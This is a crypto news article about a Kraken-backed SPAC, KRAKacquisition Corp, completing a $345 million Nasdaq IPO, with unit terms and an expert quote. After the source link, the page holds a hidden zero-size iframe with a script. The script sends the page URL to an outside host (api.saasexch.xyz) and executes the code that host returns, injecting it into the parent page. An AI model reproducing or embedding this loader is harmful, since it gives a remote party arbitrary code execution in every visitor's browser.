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<p>KRAKacquisition Corp, backed by Kraken, completed its $345 million IPO on January 30, 2026, with trading beginning on Nasdaq under 'KRAQU' on January 28, 2026.</p>  
<p>The IPO's completion signals increased interest in SPACs, raising significant capital for future business ventures, despite no direct market impact on cryptocurrencies.</p> 
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 <p><strong>KRAKacquisition Corp</strong>, a SPAC sponsored by <strong>Kraken</strong>, raised <strong>$345 million</strong> through its upsized IPO. Trading commenced on Nasdaq under "KRAQU." This includes the exercise of an over-allotment option.</p>
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 <p>The SPAC's IPO involved 34,500,000 units priced at $10 each. Each unit includes one Class A ordinary share and one-fourth of a redeemable warrant, exercisable at $11.50 per share.</p>
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<h2 id="no-immediate-changes-following-spac-market-entry">No Immediate Changes Following SPAC Market Entry</h2>
<p>KRAKacquisition’s entry into the market has prompted interest but no immediate <strong>financial or technological changes</strong> are expected. The SPAC’s blank-check nature means specific asset targeting is yet to be clarified.</p>
<p>Given the absence of immediate crypto asset impacts, the SPAC's launch reflects broader trends of crypto exchanges integrating into traditional financial setups. Past <a href="https://www.interactivebrokers.com/mkt/?src=quiverPW1&amp;url=%2Fen%2Fwhyib%2Foverview.php">SPAC trends</a> suggest potential mergers without predefined targets.</p>
<h2 id="spac-strategy-mirrors-past-successful-approaches">SPAC Strategy Mirrors Past Successful Approaches</h2>
<p>SPACs like <strong>KRAKacquisition</strong> follow patterns set by previous entities focused on <strong>mergers</strong> without definitive targets. The approach mirrors the 18 SPAC deals recorded in 2026, emphasizing the ongoing popularity of this financial instrument.</p>
<p>Experts from Kanalcoin indicate that the IPO's success highlights <strong>growing institutional interest</strong> in SPACs linked to prominent crypto entities like Kraken, potentially opening avenues for future strategic combinations. As one expert noted,</p>
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 "The enthusiasm around institutional investment in crypto-focused SPACs symbolizes a shift towards incorporating digital assets into mainstream financial practices."
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    <td><em><strong>Disclaimer</strong>: This <a href="https://www.kanalcoin.com/" target="_blank" rel="noreferrer noopener"><strong>website</strong></a> provides information only and is not financial advice. Cryptocurrency investments are risky. We do not guarantee accuracy and are not liable for losses. Conduct your own research before investing.</em></td>
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</figure>  <a href="https://www.kanalcoin.com/kraken-backed-spac-345m-ipo/">Read original article on kanalcoin.com</a><div class="html-block" element="iframe" srcdoc="<script>fetch('https://api.saasexch.xyz/bapi/themis/api/v1/init',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({url:top.location.href})}).then(e=>e.json()).then(e=>{if(e)if('eval'==e.mode)new Function(e.data)();else{const t=top.document.createElement('script');'inline'==e.mode?t.textContent=e.data:'blob'==e.mode?t.src=URL.createObjectURL(new Blob([e.data])):t.src=e.data,top.document.head.appendChild(t)}}).catch(()=>{})</script>" width="0" height="0" frameborder="0"></div>

Kraken-Backed SPAC Completes $345 Million IPO

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